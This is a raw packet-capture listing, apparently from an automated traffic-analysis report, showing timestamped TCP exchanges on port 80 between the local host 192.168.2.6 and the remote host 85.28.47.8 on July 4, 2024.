                                                              Jul 4, 2024 11:16:16.453823090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453849077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453865051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453876019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453891039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453907967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453917980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453927040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453937054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453947067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.453954935 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.453989029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.454248905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.454260111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.454272985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.454297066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.454301119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.454329014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.454346895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.454360008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.454395056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.454396963 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.454406977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.454442024 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.499131918 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.503573895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.503596067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.503608942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.503669977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.503686905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.503700018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.503729105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.503760099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.503772974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.503801107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537028074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537050009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537060976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537118912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537179947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537180901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537193060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537204027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537214994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537230968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537241936 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537255049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537272930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537285089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537312984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537368059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537379980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537390947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537400961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537405968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537436008 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537508965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537522078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537532091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537543058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537554026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537558079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537571907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537576914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537585974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537597895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537597895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537626982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537745953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537756920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537770033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537782907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537792921 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537795067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537806988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537825108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537841082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537911892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537934065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537945032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537951946 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.537956953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537969112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.537982941 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.538002968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.538067102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538079023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538089991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538100958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538117886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538119078 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.538131952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538134098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.538145065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538156033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538167000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538170099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.538177967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538186073 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.538191080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.538220882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.540951014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.540961981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.540977001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541008949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541034937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541044950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541055918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541064978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541074991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541085958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541095972 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541110039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541240931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541253090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541263103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541274071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541281939 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541284084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541296005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541300058 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541330099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541389942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541400909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541409969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541419983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541429043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541429996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541448116 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541486025 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541522026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541527033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541533947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541574955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541670084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541687012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541697025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541706085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541716099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541733980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.541760921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541799068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541809082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541817904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.541838884 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.542666912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542707920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.542707920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542722940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542763948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542783022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542798042 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.542825937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542829037 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.542840004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542896032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542907000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542918921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542931080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542943001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.542962074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542973995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.542974949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.542998075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543025017 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.543042898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543082952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.543389082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543401003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543411016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543442011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.543494940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543507099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543518066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543529987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543534994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.543551922 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.543579102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543591022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543601990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543611050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543620110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.543647051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.543692112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543704033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543714046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543725967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543736935 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.543736935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.543764114 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.543781042 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.544142962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.544154882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.544167042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.544197083 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.544207096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.544219017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.544229031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.544239998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.544250011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.544259071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.544259071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.544294119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.593621969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.593637943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.593651056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.593671083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.593682051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.593686104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.593694925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.593707085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.593734026 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.627126932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627137899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627155066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627182961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627192974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627202034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.627240896 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.627259970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.627270937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627283096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627307892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627311945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627316952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627357006 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.627386093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627398014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627424955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.627543926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627554893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627559900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627564907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627569914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627582073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627587080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627608061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.627650023 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.627723932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627733946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627742052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627751112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627757072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627762079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.627773046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.627829075 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.628067017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628078938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628089905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628096104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628101110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628106117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628117085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628128052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628134012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628138065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628144026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628149033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628154039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.628158092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628200054 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.628355980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628365993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628382921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628388882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.628452063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.643178940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643191099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643197060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643265009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.643279076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643292904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643310070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643321991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643335104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643345118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.643374920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.643423080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643445969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643455982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643461943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643467903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643472910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643482924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643488884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643511057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.643541098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.643760920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643771887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643781900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643794060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643800020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643805027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643810987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.643821001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.643862009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.643896103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644094944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644107103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644118071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644129038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644134998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644140005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644157887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644170046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644179106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644180059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.644191027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644201994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644207954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644212961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644218922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644223928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.644226074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644237995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644243002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644249916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644256115 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.644263983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644279003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644284964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644294977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.644329071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.644697905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644707918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644715071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644772053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.644850969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644861937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644867897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644877911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644885063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644890070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644893885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644900084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644906044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644911051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.644921064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644932985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644942045 CEST4972380192.168.2.685.28.47.8
